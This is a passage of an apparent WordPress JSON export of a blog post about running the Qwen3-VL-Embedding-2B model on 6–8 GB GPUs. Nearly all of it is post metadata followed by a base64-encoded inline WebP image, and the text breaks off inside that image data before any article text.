{"id":3888,"date":"2026-07-11T06:27:48","date_gmt":"2026-07-11T06:27:48","guid":{"rendered":"https:\/\/salpimentaindy.com\/?p=3888"},"modified":"2026-07-11T06:27:48","modified_gmt":"2026-07-11T06:27:48","slug":"deploy-qwen3-vl-embedding-2b-for-low-vram-6gb-8gb-complete-walkthrough","status":"publish","type":"post","link":"https:\/\/salpimentaindy.com\/index.php\/2026\/07\/11\/deploy-qwen3-vl-embedding-2b-for-low-vram-6gb-8gb-complete-walkthrough\/","title":{"rendered":"Deploy Qwen3-VL-Embedding-2B For Low VRAM (6GB\/8GB) Complete Walkthrough"},"content":{"rendered":"<p><img data-opt-id=354225210  fetchpriority=\"high\" decoding=\"async\" src=\"data:image\/webp;base64,UklGRmBIAABXRUJQVlA4IFRIAAAwKwGdASr9AUQBPjEYikOiIaEiJZHaeEAGCU3SX2IDYX6AG6KEESebGExcMoUeCh4XK9T\/uvzI9rPjfuR9ufff8r\/yPi7\/leBnwP\/E81jo7\/jf5H95f9L8s\/9p\/6P89\/oPhX+ff9Z\/a\/3z+gT9WP9b\/ifyZ+L39d\/e5\/g\/+d+W\/wN\/o39\/\/7\/+U\/f\/5rP+v+1\/vE\/yf\/A\/aD4A\/7N\/bf\/Z+63x4f872TP3g9gr9xPTX\/b3\/mfKz\/Tv+R+33\/R+Rn+a\/5b\/3\/6v9\/\/kA\/+3qAf\/Dq146vOL8F+TX916eL2E\/tfzoY1\/kPBP+WfeD8d\/fOPHgC\/jP84\/wf5Ff4LwQPURAR+n\/1j+8\/3390f7z8eX3X+99VvnM9wT9cP+X7XeKX6N7Bn9A\/wv\/R\/wfsef8H+T\/2P7t++b6n\/7v+g+BP+Z\/1\/\/Z\/3H8rPnW9nn7ze1Z+zgXKKdG343CHLO\/wxQRgkgQhX7VzsQM3EDZAQvnae\/8owzJGy3GZ9qvbQhOAVCcfpEWZtwIe34iz\/mxzW6PFOwlP1i2703CN\/vhpRXLNsAdX+7m2dqhNYIanFtDB5uwHUgp2df6k0JsuogcoIBuXJOZUKil9ij82bwNgVAN\/eS++3Bm7jgZ\/hOJjmLXywJOrb7Z1If1dEhJhtBKRqM+mptcU2tGr5kjmt4NIzzUnbLOhLbvy4CCnHhq1Zgp2AUl3UC45eiFuNKQMqwMnLpC8o2JPTs9UuE0G5OsDD4op2sGXuniEjNT2maP28nP3GnA4F6sXF3rsAWKtOber9zP\/NVChblHkaNJ4MZTaYZzVebAyzn6QPX1qWY5XSpWXw1z3O02Abr4xQIgH8r5iuJTZJjdjxTjz\/hKJp8G1P0EmBG+5kDuzkltZOqFvxmoFlBWlRzdoEUmKCCEz7MYAUZM+c\/bvqT89ouueVQ3wwL1J67dP8ySMxHtN9Xz5mNZntiMsqZoWJiJm96CKQnfk6BttMwg+7rhdpAIaRomg9knyFmCNNtMpVtKML1GOEKISbeBoQ+z90TATFTKb1L2JsnNaOp0wD9w2Mw10crp450KWkNOkjR\/TQeq8GYXnqCKXVm6v9wiy5+kPK+xsgQcLV7O4jADI\/b7IW\/dXdxgrGdV+3ZWXepSGY9J4KaToJYLgxkXZBQVnqF+vEI8LZn9dt6WQl0CXsVQwzDtqhA2HC2MJRwFTCrPyI0uMVnt9VqaywtV90QYuYv41sOzmFtrzowcd4kw77fzi0GuyPHrd5FljENG50GR9ZkLQgKbxh00z01\/r7UquQGP3ZK3NBNvCfYSmeund2QjWdyzFX7iQ2F+XYdiv3HtL1fNvRjuhoHF7G395T9yfHy9zIEoTfeb\/V2CCKYjU4cc\/rvAQX2XZRr4Z0pQjqkQke5OEpab3ToR8W3vQY+8U+YE2ER2BCtZtRI2DpFJucCiNCfwOCEyl127QSzWSYpliBbCIakRtDncLupamP52OmQrpPeO4JBp5yy+jEtrEgLwzwOF65y5x51ndfs2BUvGo5RWaDe9jD5VH7R1So55CR\/bbOpRHfJu\/VELnqY0EoJ4SPvHcHb1Luoi5IpXv5EkQF8u0yipGSjN3aFpTPP\/F\/08uGOWRx2IEaIVoxRgfpwG2b1t+cBf2c1Q0fIzmc61wtStl2VpoPJCFOSvTXBfFeRVECDvNyZkNPlexorQBtFGRJjjDROjIiUH3M69pkoeBGtWllcWT\/\/\/c\/1D5xAXtgQihbaSGFq+DGkUzjSteQwb6GBoNOmk5WmafZzVMxgMgJf+4IrvSoo3SZfeYXrWN2frSMPJS3p6dMg3eZEQxapdsuNA0rQXEdSpMpYmtvBoGhi7PZzlMWd+8vFF43SnHcWp8bJH5bHJdMqsBgEEVIK09gPLAx1p\/9mrLCfHuWyqhDx+r3hvTh0VsTMQWxjGtNugNKGKtGecS7uv1u1UpzNu7QgMirJ4nvT1lPaB8kN8xD0wLLOYUNHteKQXNhFUqyUphROa9PJNYz7c354Q8bCxuF3cvszHPZasBwY8dg5nGhvOybb+gNDXClkcWWpiwKF37C5TaGJMQQmH+zEbaa\/3+bXNdkqL\/PFgqIRATCstVCnYOj+0yuUMKAUpI0wN099YOWIWbP6MtN7w6JUvjZTvxoxZNjKzIUwNz9+hUPypO0SQO1I\/j\/gGCz\/th4QeAxSwmkAJUNtQzG0OkmMN9VqK5bcxkLw1ZmUs1swJgralPvzfpneX5RNHxlWbiiiWbJ1QcGEgg6mZckf1DpN8RBnaWGnQdgAv8N+8n8TBdyPuuF1XWqxcoO6uA3N5Eev2meQzg2ElAa05Bc4yZ9xUuA8F+fJLgPGnZE8gAyTzu66efV5trxF\/+aGDIbUNiSSa3BHYfy5JF8NT+HRtFB+XV60\/1fwJIOiN8dVANNG77j6Sr1eviywjm0J78esgGwo+Z0NuQJQir\/Kpzt3JfCAl\/kuuNyVmDhG3VnZ3oeXA\/S\/NJyqA0no+3iqUcTBqt7XDYBRrT0Tc0efvMJuz+TVysY\/89XFjN4X2PbaF2683G7oHEZ60nxW95ujH1CUHJ6JH0IfkS30cfYzViU7h9bRs3PF2MzxJ2N0ynQ+ggA0bUyiO+daymO\/sZT\/6CVAuAlOo8mxFgdKgy134bp2k5B72IUCGLMiLYqGlcfsLoJWua3okgZ86ZF4NTHDQOKhIHjuHS6WH0wooLmM\/48uFA3Y+Mfh8kMZd9sGWEG3CSsAKXrbyBPKxRYZ2w\/RDL4hHahib8qQCS9W\/mMmD9U9B5C0rTOMOLwYWhbUAybxEtxklDgqqp4K8A1KgxM3\/37w8pyVo\/G0PBAGDFdnTDZUrAPo6rJbcxSQ+w98SeiHHj70TTPoG5hoaBwT8feuTm8Tc\/w0AfPLmPff1RtMP653rBuZh+T7E+Clrh+r+1Ri2GsmWIgRcgyJy6asipI5bA9ERePVIZnEhupj9evc7CGI0sSvJU3+JpsgraaSWnKoP\/4zhq+pqGJHeAn\/tw5o4U0UmD7atxjrqZhTuwaHW7+tbSNUZoxd3c1ueE8+KesD+xwJCDwvtcHrXZEDLDbZtvB88nZ+n6zWGFoZEWweMW9lSwE6AfNDoN5qltvMcAglMPPxhC5oWtcg8WYPzfVIDmWdDqdXgKwKiPW2ZUjeJTUbdImIg16XyFXJcSwSy4DN+w6Nh8Kwv23UL3pADTILALjQZMSnKAD+\/8GhDjOxGEqVxFYQP7t8I185ThMVCv\/mhrvD6YvtWaFhJCRUvAguFOtmsJJc\/Lkvrg5nxa\/Saf9A6hbofdwigpzXNvUWS373iCKU2AcTHVhq0W9Q5\/Awc6w6yrSIX2DNNx7tjja133ToFV2XVHalsgzMttU0FPCp5tFi4Sy+kVEtqT1\/qkUQLaYWnTy95HXP6VLN0ShM0HfRKGRzerSvHOyW0ebFKdSKcPpsA7XZqGSn9jwL7HCGz4+eULw3qeP0JoTRHZ\/ecAvJiayGVoB4DW9sKuxN8FS2j0QfQv138uB3Ui50\/P5U9mDgdwpa1reiqzpEhNbIpzPxqbC1fKADpjIT77xUgff2KEXfq5LuWJJjuNqvkp59F2rIVxo6NzJijd0aEM+6yMippIaHxbeFxmipuVZIW35vBbeNbM9bLkz4TkcC2FEmP0jyuegagt3hAiqkZdFc3HSIuVh7LeoHaiCyIJyMuNC7\/JgeeiUetE9s83DRMCHaBy5Fsb4cTj3BT50qGypxNPR3gNWyMtuCKI0FGJPVFWqjoe0lXHRTNsMfRttW6xnmZTrtVdGJNsSHt+Uk2aRP8\/2Mppg1pnrPkwwUoZWymV8drTF+eNAVsEvqf+TPhQHzqNbSoxieIEE6YKn34n5aqY8tKUqeYbCJkbLRT8jaGjPO06VHAogHjoGiBz8v5EuOPleuWahyBbKFsm5N13Rd\/TYYhpLj9KL5YiYWuTD9kxrLbw3dmz7c\/mfOSAkLAnppWkE+K3lg2AKtuzncUKuXQcohidMPkwEsiAPOYbZt3FeDOELaUpWHclsTuT6unbyaT6d16bBxPeOjXg+wdh5sxzG2fwjAlJIT6Lcy\/g7jnNQYfF5PsAUT\/CSvJRU7IjisO5qhnjZuOCSEbDHd8MXP2ZeF7OZz0VJLtMKJ6Uvz90xnPacxY+1bkzl9SXiR3780Y7Flr7RsO\/p2d\/+rh3W1fRy10AolZFj+H2r4cmTanmmqfb6tpCjAUgTcAtkNcZfzY\/talsIdk8iodb+2av\/Gt1c0Xo7Sq4QiCdLZRuNOMVVaBAS0c\/eg+ktNH3TSbm6RtAR2xS3RH7ynuGbd3i7ePaWMAzxGAX8E+xy2JhSrUMDWqbJLoOlHM61Vc9dYsmpM7cWcNr\/BzmN3vqeBIDvwjws8uqYOyAuQuZ0h7521UexqrlL8kxJE3y9XbRdGv8GN4+na9IN0nba+nqR8Ppfe0fd+eGyiJuVO3NhkcArQftpKgLFPaS6Spjwh9DF7kz6xEcfTOS745uk9kyLVoqsC9fzdRnyClF0SKiesvBc3MYzs0lGiaebj\/8cj3pZR4w2XMHWMM3N8XuC+wtKylMAjiqLa1i+tOvoc6Zp9KJqNuQ3jWmgOHbJDHLi6TRG41\/RLOcExw7FxQoKRtztJCisvxPcAGnHSSvX4fItI\/PKRXCbGgq2NO6D3sCsituuVU9Zfuqbc6CBlQCzokGKbyFz9RXQl8gHL3pTK2149RUhPhhyZH1V8l+StE9T1Oh4qUdWGLRlnWPUOUd\/5TU7l9m54xZGa\/\/ColFYpGnnbhhJpRJCHJaiVcZP5kUM7IAAPM2lOLrhoc2NxfsPwat2\/ntmqmRmruOXColYv40B83PsI6xDYyLUcBis2vNpvvks4Jg7rEyGt\/wINpLj8e4oepe8RMHGrDoxIooGo+Fha1BeLSrUyy86Gjptl6+E\/mJqY8Ez+va5pcxw15dLDGU6diF4KaSh3M7z+DGCjeaM+xa3wify2dy0mXFK8UrAgb4oSwBP7fPSU6fyb0JrKlI\/sXiA4Bqd9VhCUYR4Wxgjo8X4FNE453azmD8dPWdeDoQzxxuH+P5f3tVyAw5XKG1K7yyD1Vd3JXWP8msRt+Ha46ZjoLeNefwBe+08YNY4ULAsuwnnDu7h3fWHtwrwY57PHUJmIZRSxTRyJYgkdNlx1iYpVzaYJ\/QtYg9i+uCfnx+6NBT4bYbrJSA7cl0uw4j1ROkl2cb+7ZiL+C8NgSrhXxFfudcD\/JtIy1d9H7FksElI9IVBaHkV830J8oZyjvItbyYTyUT3o0Uj\/Cs2FWmSd9YedOIiBd7J2hb6nxlZaqNCM1aU9Fz58z4sOzNv2Q+IieeiPTCKuonlW4u51nMZ6f+ibM1ODrYz5wrgtRcPxLeQ0X1D1aX5yqMVkNqo46wVorqkUs9nPD0nD5KQp0ZsZWLohgTRJUazMBi6aGzFQwivWPCoUqm5iNwxufanYH1g8j7SDpP1qWH7CiO+wMDG1WjP3ijmKlg5a94cOHJBDhrZlL6UrGCxpHKn01ocDi2QtY3d6WQyzIitmaDX\/r7XkgKsVxM2ksucDNXO6e5HldrnNndzKSQATzxebMxlvAD6CZ+Bmssf3cL3SQ38VPVmkAf5ZddqUiTosg9dvUZ+imWSib4wvywp8Gk9627zWRCtwMfEUqiZCh2AGLu61hWeV4+mtCgU0QWDEtoyRnNJXabz5T6\/wv8Ta4WDjAgv0CJOC3vVf\/aqRqYPZzCW\/+I0vw09XeKKBvHJgteAAa1dD6ZT1e+adSyZq0VwLDzVu1FjeVkTKJyt2yTSd8ETy\/0Ixg4+GhHktxWtVqeBeTkmOlsajbuoaCG6oLSUbVcts7RZqI2UPiCqGhqYtj5KgikxgaQhC9XbvZK\/tnSSRfPDI5tUKSW+MG3D5T980DJwslwi1yOEIbLGYegepniChVuBeAuZRDCrmVK4dLzR\/ASKJCP8ii94TKYtsgs4eiQkOMg7XuYYwIiZG8qh31nnuY9mlGuIhRk7S3DoG2yEs1RYOtl58yyFS8UgDJ8KXMS68XEsnLm8yFMtroFQ35lqwiSd\/MDBxM278Z5WYuki\/Qcj7XOcuVQ0IrMSf58vnb\/P2TD34GM1KYaqe+DX54QZ85FWqCqzWHVRI3owMR7EAMtFvmzhsPgj1GI7t5tgD9qVXDLHT+RIKOAymEg\/XOjL+5TJhJ\/bje1MGx+Tonkj\/u7eiW4uvkvQjyrqiS+8VK8hBm+m47K228nie30AbQpl5JtPMSuMiJFpax3sHXP\/qTjVixB7gz4oXLf3UyUM45vc2iqMK0Sirw1BRXrX60tB1Z+FV4Vi7pPIqTz7FDAeQ+TySQwQ67yO\/n66k78nPp\/1VuegjdMGaI2mY\/xn3UlPtdxITF3Akrlt5BtXorq\/GG7AYrLuNToZBYBVDDJWo7JgPVPLlGpdjIG74Kfm6cAQQBXuuGtBbl3vxXUJ5DNRy+tvHWtTzWfVjv+G2pJcRRtiVnrWsBuhJRwEAOYzK9Cp71K2WaiDuNSmAIHf\/pk5Y1B9WDK9aaJ6aWgXjiBOchiaro\/Av\/aP\/YtAhbvo\/c2ut8r9vLj7owSfPrE1dRRxA7gjdMz7vi\/e+63XJMqKIy+CXOKMmeEB41iTLp3svDkJmfUtQcRt78Mt4atWJytZVViqN6fIR1ndiu\/eAplyPgrhMKLcm65Y0dOLPHMXZ03lFXGONdbH2LIBnqd2am5Pg\/hGLUJzWAp5uAX+cYwBhupB3BYLLdk0o\/T6fhyxkHzD5g+MDXD5DlIYHYyZXtt7X2YqTemvDRfZp430L\/rAShzKIp3bcBbQ4qTKLKRA1fvsB5bryT0yyYMrFGpELKQCFm6E5fdqYkeX8R6r\/aZ6AFUDvLTF3epTUX7++KJGVXvzW9ni666+aWzkY4ADQiN63GYMdF7mUVeKT5eXs8Hkk6PM+hXgxDRtR099IWk2kj6i0j\/9xrJ+kYoWK2THYCWnhliALQRgg494XycRMQZpI2p7cs+4LKCFaDfYd68lyXkktGtzhV6g3tYylsiSJyDUhqm2qcO6ZPlQWWZOyKviNKjYDzTSJvyWgisj7NAPc5bsLGYNqL\/O5snKWIZYLRs8LdMS1KlAQFyW2pOgduvvv\/LJPdz\/2zEymBPi7vHcE96I66XXR6GbiLC2f1HKZE4zibrEaO3F7UF2Q5JDgUfYMlAckzN9SBARcjZPvmSqZzemfd3TtbFewCCZ12ngo6m4fRuMNZQxXyJS2K8jKeeqLASlXO1CVvdQrPZ1iFDHYq\/5S3SbcirmbizMG+vz4lnlB05JgvDY8TxtBJmm1vsqFuAwZTQxk4ehOwTmhrcr+0wVgJ1GdNXuB0aDUg190fd1sOYqJKhUN7GLIAtBCeqQRRRSA4IQxvPwrRncqiZzGl3fBtKZ60Lv7jbdqfUm0v4Oma8r8jBYt0n+r0\/rDKoMEqzjSWNmpLyBznSx9JpOYBJerdr1cfQW9XyKhUGHsAAvJtAxaTAepsaFXVcZ4nNbt2j6Azlthk3\/lgkUY2VuyptsB0SfmeUrZDooGRxlxO886YUogQ+oT6dPqkUyLhHH\/GeSSRgqWUVbVVzcJjluc0BUmsZYvg0oDrBPp8LFUE8vvpxNg\/ETjjdZtv7YTG0ylJAavDSEgxC38hOInwbyAtQVzC1WnWc+HfiQDP+XIlpKlhOe+gy2beCeldoa9zn3YZ0+9urwevyXt6jvrWacbizHCb3\/V4w9HL+rnu+tKpe99QLcqP2ICIwY4sBaLRWOywF\/6rdryhI4uqIGfDHZzyT\/jAhmrBYH0bq+Tv6ehSIJQU8x6Aj7Y4uQiVi60nm9VzIDSOf9blPcQBaS7JG\/GYOAc\/mj5\/n0ZVpWcR2yKvfTWaZSWRJtcXSqcDA9s9dWBjLefFHktYlf0PTxoIsNxUP4dEcp3RSk8aW1wfIAn3iaJFyllSeO5d\/uXEFDGn8RcNeUPMiHo73kIOucYo19koC1E6XiPRImSBu2yl666i7MIIux0s4h+BZ67zbciC66tUkq5uMNRJkSzkE8Iqb\/jq7Dx0jweN0JwSAMfFqT4UsV3Zf\/iwaMZ2GqHaeINzpWToijL5ZFW2L4VYL3HVWP5oNEkeYGtPj7p9z9aL12IDBU+tfcHr1YC\/Wh99wfOcsvriFBtXR3QquF1opgY0c7RRT24Tz7zyVGbiFO9NJLo056LOiCKy6kNYqEKOP6JoA+o5LbReTBKR13XvLBq27FlbVQzkiSxjngb2Obq5tGH9in8ySpZNgtCeDPzphx1RTy3DVUVnAbh6V1BGBZGD1lwa+3fki+g9+yW7+Vn26BqGUGggkssE7gaLEeCnLa1QU2J8+JfbbgYyDN9ZP4Qh0ire5BKROT20Z\/jnD\/TMtQ2HqicWdCMt\/OsvvLDfN1lq+In3Hx3R38Fy7NKWxXMmDJ34Vuuivi\/6xx6xAlIxUA1lPKEorD+Cm2HmFm8peG7vqVYyEO68kCUTpuJFB52xIb9Z2goEJDE95GkWnTF1dLzQ2T3AG7c7qoJj88SDK91fkbcsduFHu\/g3YyoLU8G6+fJs1mUj\/cGnr0pmeb0FEvKUx2GnewXD0muQSZPkwL3PAP+pvu6PCcyW8GfGS2jbaIihP3BXkZq0KIk7A7HwC\/jCquWNrBoFqyegtWC7eb+M3hlXOGqSqJE0K7ch+kxpYXxsz23UK8IMvlYhR3tYPiX0xMGlSV6k1a+Y1W6lNkyaMS3f71UrhhV5AsKXLpSwDBQhRML4l+peAHcAJ3duPhGS6KjxSWz\/Ssv4dnLd0QD+5T\/eTjlw3WACrHV267IgmU54STvGSAOS9yn1yz5tXB2F3OZhl1GYSHqVtppjPjStbuMSpJcc5dgO1elBL0sMSuL8z99SGMDNdt6vL7jc73BYcpLGQcdRqHkBSXEDvcv0BeffD6K7n484wS3vIw6\/vvbKaHn2QQyYJTH6beq\/TbYXhBQFg6Jcr\/vTBn\/gi8WpyOL6Uc8KS71bRuLGMuA2CPH+yfvkumvxOFETQAsXZYKgdiBPovEN2qneKH\/lsseU6ZNtbAU9quSp1WxPThoClPJt+8ZfkHaVqbJsPd\/sSKCdXZeoEO9MRX6nSrxS2OuUxbRouoaijxbJFcSXuh4CVYQQdHNfdzGT4OkDAHDHykefCWywYKzERhvdcE8ndTcOW9o3KfwV5EPKNiU+iQBHEJrBGOatUcEChLL5Q0WdBCo4CPf2ijD0P0UfUNsdDoERHVLvdT+6bh3+Jp4+Nay3gEWdLt\/szh25inoQG8hjn5PxWxJQ0uev8mbeTjHrAybLoyqAHXZq8zZqR+mwx1SjW7cCyAgm6YO8QnLFeVQJ1zXA\/7hVQsa9Fh7WNSyX1uIBoV9k7ZmOOrmdPCTC1y2yVWaGZrrQ0\/Md4Q\/FDtOVh85xxEU90HUQx54vaEHxQDU+Uu27sfYtnHlidQmMuj6X8Wkus6m+7Yo8pkmhzn3\/cMREbp7shH5mHc4IhD+DACCzKa1Emk6lyTfHNPZSRBbqtzU\/P2iBA3CBdU0Fn0pz6SSVctHiAKkUU2tMTnURB3EwWZlVY4c6IndLuHfCrkdxMTOe0LOlChgE+Zqu9GTQUm6ETc5sDu6FQkvxLcEpdtsHFG28xy+VZxY1cgGPx1Y7rdXmGQoELU4L12KA3P1bCMr4jBh2Si9Es19b5ITbCy13MHXW2m7lmudGnLlLVXJYlU4+E\/QfmWLQbDGcvjkGUPyjbw+8gypw1nLFSerO6tmD3vljDZQlBlYRiAOvfZCPP5i7kD\/P6aP4tHdLMJMETaDOE\/1JIE\/UxtsvyAPUDTF6Kw39ffXvlGZQHAfVo45tZUzUzM43bv2e+aDM2okHNJvS\/HYFOpHiLNazYoFelj1vJ1ukfKljcmhQzOv3RDtOZYp9NG\/pG2EQVGmiBpC\/7MujKDsFgaWrmU7hIepWyivulto8ZTxeTcQ8fP2n9YJC3hM2ImYnaemr5emnZKvskNdIzWNYrdDN57Y8x1R1\/3lLszgHZwCkVOqh7wmEPoFo5sT03wfxMlP8eYanFjlnayMP+R2y5xFgLIAi0SldTHsBOKy5bK++m2o973wbFB9absH6R\/sYIWLD+wJZhEVyRiVwgBTU8qYMNW3yEnqpfcjKunb8ROghxSAy4hd6\/oo1AK9nbTlSrVPMdYWuGaV8659eDzy9pXgIVuxJjXxRal0xtAABWSYpOmUfPt5cOXrG8pSUDU11yUp1+BOM10gFNTFY29GcwvTkKW1VxepIAsnNnKT4TQg\/9Xxzkf19P3z0jQoPgsX2BELnokE+rK8OUWADSdkHJrBb\/OO+Smd+j3Rglp42EOYaAJN9vQtel2y9gO6\/24NfFumQRLwNxLAntcL6G\/gePtpHEd7S9mHOYh9W4hEp7AqrHy2UjiCm\/30nEBZ0doopljegBufcjV+RkBvSq5+3WF9LqbN9PWV2v9qvKk6k89DBkT6NxihdCbIy1RZpxyqFUZl3Y3SOcDoVulK5MCr23b9ByWmZnPDQZ4EtLj2Qwl981gn0jK+vfsAyFBEhKX4GUkO7Z7sqgofr++l7HmOWQ8HZO029vcF29+nooNoZmAm5TWL1oZxYhfUbxdHROL72GeFuIwZNZOMFpRLzFjCf2nh18+oZIZHfi1zZxM9u0w1v690zhXDuXyT6TxnbVcql10XU2lPj4sw88kvj5Hq5o0N2b6gAsXfQRBQQVb9+cA1wDal1fkUmA15jPHFg5naSgPlbdemh2DUTXLdHFM\/D5CGUn8V+R66i6xS0LLv2sLXl3zU\/fBbRepxZvaqli\/\/gh5EafN\/iUrJXY7ka80VS9LQiYunOPDM4PewdNQ8SwiHuZjLLdOr0lPRRE8tnt4dQm1kDKSkBDnoawvEiMqhNlL7pgrizfaw5ItThgdCBBx1KDY1txaijYiOMG+JzcbwfsxoFAR9756gIu6SyX4X\/JjY\/zmpo9yAD9bNfZFMm\/JFZUtPyxUKAo0EwXU7TJ6Cc\/T9M6C92+HU6QOiNIfq2EjiPrDRL2f8fVbg1xnxmhBJuuEMJBJIN+TTugaN3k4kie6Mj256GsF1HSmk9s\/gJhGB+O0MTdxsgYisVyPOWW95EXkhSYSoLUO+x9DuD+iYoZEKuE\/rKH4QW7EiSi1Pl1YMIi1z4uVUsrjhuWkVO98uttqHWfAchm2WO9AKkn3L22NAvD1ocUMkgV+hrfcz8wf5cOXvvIcVNO0lzKqTk\/6dzrceTpIum3blzGv0E5SZJzf8xO8XohPXsAMmdJ8pGBQRLpFkxwzufLTTXsxbCUhX\/JQqLXTe0Q7I68wq3QUyKy4Di9+83N4xTt9VBJ0lWxbci\/HyFM7iaShZo0kRuGxjKQtzCahtvYJkbbOxGGl0pgpxtltgZwBHGqE9MAEMgYlinhY+fCEt4V2yq9LfhIK0ghhhXa4l+rg7hd3ee3LY2JYjqGJ2ZEFMkiP1bdzp7Wc4dsQwzP6xuz4PWkGyHC7LLEIViG8kdDd1KrbulT0B1XT24dQ2S47xHeW6gi8dLIhOZgJ7cl5adrtz+dSb4fDvWwpAV4ACuReiH8sp0lTKlNVImPMYmvfK4lp7GYVdJBqAG2i345aWIpxdOEeD8TnJlcOf96o2BxNmUCc5ommKH2uvvbkcuQxArBAj2fbmcJJbwKYZLoiUD8icNSB0FxkPKYInMpsUe7opmipPDYcW8PadBp4lRHxAVslv5NwjTggOsOoPkwRoZ\/UlPpLkTaavJC2iVL8+8c7BSIaT8qPd0QuX15Srw4yFFgYVSEav7d41fjOTPjFhUlDqm7\/olNmQZ9xUPf4bS8rqn\/+FeNb7l0gdzkXuQpnFiSqMeVi24Sb3axULo0zi9g+LXMaDM8QcVPPWfjWzkMjnaO3gREfjzopEGeYZ0acegD+WFQaexeCiS03VPjYxCnQXoygvbW5akLNLJirwnKbZgqpUhsPZWpuEuNC+orFj7x8fYVn4s+IuecsXaVmoCgLSAuyf9cJWqejYr0alvbEQ1u4w4xCyMO+UxQ9dodiIlWATEcUfBB+8kljUN8kNHigcvAnLk\/O9k+042+YKg0aFTlKjDUvdn5axCaNve1aZWOarTVQRLT5hkdRxRPtQQoprD70foDB+BQEaL0aMKqVgpwnSV6fYB\/b+twb6rUpQkowv3W9gcYEhYJi+ldQs9d67hr90s1HAyVfYmeWqcOvSWMlXmriNNbWZDrPIaBKBfvU4rEXAAu9D5G5BINbzcLUoqHvyDw7URiv7wsMWdbxGcId9PUoZoSsNwcFbkQgWLpzlYzLP43vcCpJp\/qz+HznTiL95+tboaVN0QUtHhbNCXEuHKODi7hZ9YlDeccensluMrjuKnKvOSxxX6OuUvw\/T70CYwTMWItlVEOwHMjrpHGlxlHhR5+2NnZW1yYN4Mk2XTi0176cruZmiP4yzYZtm37tLz4GBgmyBWKftOJRNG+4w2oSszJ2w8cFei0iGMjFXMnT8UKNEQi6KPVBL0t1VF+OHMSkrQPETEBy8+ywbvvQp+4dHwxyRQQkJo+pBqH94Q6YRgZpZ\/uMY8rdZ6iwH7KDYakNq9B45sCHXVNUsFk9FCjFxhHSdtxDEHlG9QDHeJUu1fMqZbMv5NrZOvqwWkePJn9ldRkpODpLO0FK36sKCvhuAITkPECJAkS9bq+A+MAzqGV8W2IKlKOd82RdvP2ncxrJAb5jdpIvTJjgvcxnbpLtZpcYYzHaQVA6vxWFuVdEnfM6GcUdmrYUJJQtEA54Xcbtx3T8gainTbXnVHmsouPDwJt64wletLn\/ZSoW2qAzfudqxXgMeWqegoEtfjuk66xVz\/UdqHhFB4fpNH2y9+aDnjLl3zOT70LzL5g4J4De85LGG1obOwxT7g+pka9DwgEsI+HTDImcDFA8BIShH2Kv8ZqYHfHEqrMfpZtHAK2zh7E7KwOkkkn7zkM5TvqdKSFj9gkrABI1QKsuaCSYIK\/jh1rDnAqMR7KiYrGWxixRj1y4pcNUXO5BzL5ytGfyIfp2ED2FjfGsMRhpDldxybLX+3+e7SenvvhAVRIbx0vXFNkvbl3jAgtI1oX4AyF\/iGnkKEw0Z4xS8U9t5yz8UHGF4K7c6IZOZqrVMYbTyWb4kgRHJnD07YdmXZvrRkZi25VODmSPST4j5fZ9zfqGc7eRFFm84m1LVyPBCf+lkncF3tmzg3l5EjJKQOzRrFBYHR\/hfiKwNUzh5awO\/Am8YdTSyBtodNc7yMD\/0lC8GLf1\/lr7NaMI2zPJoc0tYk7OeohgYifYfMqQMtfrNEyqKZQhFnqinkYjbVbvTYGbzCSBp8A\/C0lj+yRSuXPI+gRYeq10Z60mZvQtObq8FCBPVQ+CmDh8R+Dd4Qq4tR982GyjBz05oKUG1jV1QPxu4FO1k3+31SYM0VWXmTlAUp7e\/0Hj3LiyhVhZsgiZhcuTOLos8g09jk4mpb7MG9snIIdE0KOLYRkzgQZkH81buh3RD3DssEQbxxBDAfgihviuZB4zmyuUlpABq\/Bsaq0Gi+H148GtXgHI44NNqiT2avryeX1MRySBOyb3sN7PMTcxwfNARLTFcyS27lvemZaC3XcnveTNt3LngDL1hubuiNRuSQZ6XyG+VXH3A\/wDVGyuCgCyjN1Gl5ogqA27GLvr6KFrDsOETlhmazZTIguT5kKnX\/52R3J48F6XHQYAiiUYpvo6bf+hgS+MmAH4RhyEvFb4EX2EBqxM8NGJArvkkIbDWCZCQiQy4o\/IfStsEqThfRREckzdaA+On0DQBOp2r+dyyqkZgkTfQT3+yfTGTmD4QDyt0E4Gpzku\/RZDOGIp2fyJ6XaLxwtl3e4Zw1Z\/wzaR0NEfB\/BjkRZKRCd2+CPYWL6c5WgcPvMqmO1vQYauEh\/zGd8ZGj4lmh1H4kus9qF5iEjQz+twLXKmg12QxqzkrdtCnP2kzRXzBRX62dmGXDH5U+Ulus89kagKkeCdSWOTvjLchWp7Z6z7BbTdMoanoVvAJMWKfmQ0jjsZ6TtAyCZBolmtVOYD+fZXIkyQSyFKYJd48rcB\/zrc4n\/aZsjTyh4CjNNIezk5UTd6oK2\/poZ119c0\/ebRPNH8i7RC8h\/j4draZUH3wCSeS1cq8di9RsCK6U6FIi61OFGsoVcdQeF1YpDOPlbpyybapGeWwxdfj69qvprKE\/nQQQefjWVFNzWNJN\/KV\/iaebt7vzBObSaR9huWE98zJsDTcNqOW\/Dl8rM5Qxple4ZenZWqTOmiDnM907SNI3obSxhdP9WK+QtQJowQ+oxT59uIZZJ5gNG9o1TuWx0jpm1A9e\/ASyj0D8BISUUiyrjJMBVpd91ai6fHSpM0G77Af\/G9Cwm5GWV2A1+h+r97NO3Tc31dXvP8bPoR02EU287g70O8danUp4Dg41bk+vXySQURov76hRix7v+vCBCEtfaWefgFVXkJuSgpwp+9c46O72yZCKYejz4j3IVbqeuRRABkKIUe7WshBaN2EIymsWKaN9fTssK3Jpe5Cm7Jh46cRWI+mcMt4JuFknGYdRJh+5f9WEruOAgQlmOmHnaC9VXJqWqGRKYeTxvHDI1GPGqq2+1emyTA\/IFYj1kiwxFcNmM0+TL21Dec4jb44b5CjIOi2d2GtBeSFk2HXT86iZ4rup6GN3X9fBpYJxGtLFTk9FT+vsWAKHbipPLr41a2pbkPeSPAtXkx9Tme35IuabsbyYANYUdRKUXE72\/+Fs66dDbYYMS9RUsO4YFTnFbcZ6AnHdjTQp6qvxK1CdHE8zOSu4vRry7eCB\/DcNGXT+MF8pNbZII343JEH4ZKI1p624ZZT0DrFgE8nV95Y\/K3P6CWRVoVt51y+uiMAi5b7pAEQopcDAH8U9JMr9I2IULCotfwcA1XwoiRN+deSp2aIfhhkb8w+XihVh9XtcMo\/mg4ZCmnVK6TctSaQyOCj43TK5lzeGg\/hxjO9UlHLDhsfHk77ZQGNOiPtlwd3aH57gOYPZrl3PnV6On+BE\/s9P9\/xcPfDg1nkEutFE6yR6N96AwW35Fc3Z7mebEiX5XwFRnVuye7sdIdd3Lv3\/sKqBzRL